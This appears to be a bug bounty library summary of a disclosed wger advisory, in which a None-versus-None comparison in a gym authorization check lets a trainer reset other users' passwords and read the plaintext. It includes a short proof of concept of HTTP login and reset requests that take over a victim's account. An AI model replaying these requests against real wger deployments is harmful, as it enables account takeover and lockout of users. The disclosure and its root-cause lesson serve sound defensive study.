# wger: cross-tenant password reset and plaintext disclosure via gym=None bypass

wger's gym-scope check compared ORM objects with !=, so None != None passed, letting a gym=None trainer reset any gym=None user's password and read the plaintext.

- Payout: Research
- Severity: critical
- Program: wger
- Found by: whatisproblem
- Disclosed: 2026-05-06
- CVE: CVE-2026-43948
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mhc8-p3jx-84mm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mhc8-p3jx-84mm
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:access-control vuln:account-takeover vuln:auth-bypass

**Target:** Django web app gym user management views (reset_user_password, gym_permissions_user_edit)
**Root cause:** Authorization guard compared Django ORM gym objects with `!=`; when both attacker and victim have gym=None, `None != None` is False so the forbidden branch never fires.
**Steps:**
1. Log in as trainer1 holding gym.manage_gym with userprofile.gym=None via `POST /en/user/login`.
2. Send `GET /en/gym/user/2/reset-user-password` with trainer1's session cookie.
3. Response 200 returns generated plaintext password in HTML body instead of 403.
4. Log in as victim alice with the leaked password; original password is invalidated.
**How found:** Code review of the gym-scope guard noticed Python object comparison semantics: `None != None` evaluates False, so the forbidden branch is skipped when both profiles lack a gym; confirmed with a three-scenario RBAC disproof (same-gym 200, None/None 200, differing gyms 403).
**Exploitation:** Attacker with delegated manage_gym permission and no gym assignment enumerates gym=None user PKs, hits the reset endpoint, harvests the plaintext password rendered in the response, and logs in as each victim, permanently locking them out.
**Escalation:** Same root cause spans five views (reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list), widening to data disclosure beyond ATO.
**Insight:** When authorization compares ORM model instances rather than raw FK `_id` values, null-vs-null collapses to equality; test every guard with both sides unset, since unset is often the default state for new accounts.

## Proof of concept (copied exactly from the original report)

**Cross-tenant password reset request returning plaintext**

```
GET /en/gym/user/2/reset-user-password HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
<tr><th>Password</th><td>[GENERATED_PLAINTEXT_PASSWORD]</td></tr>
```

**Login as trainer with gym=None**

```
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]
```

**Login as victim with leaked password**

```
POST /en/user/login HTTP/1.1
Host: target

username=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]

-> 302 Found; authenticated as alice
```

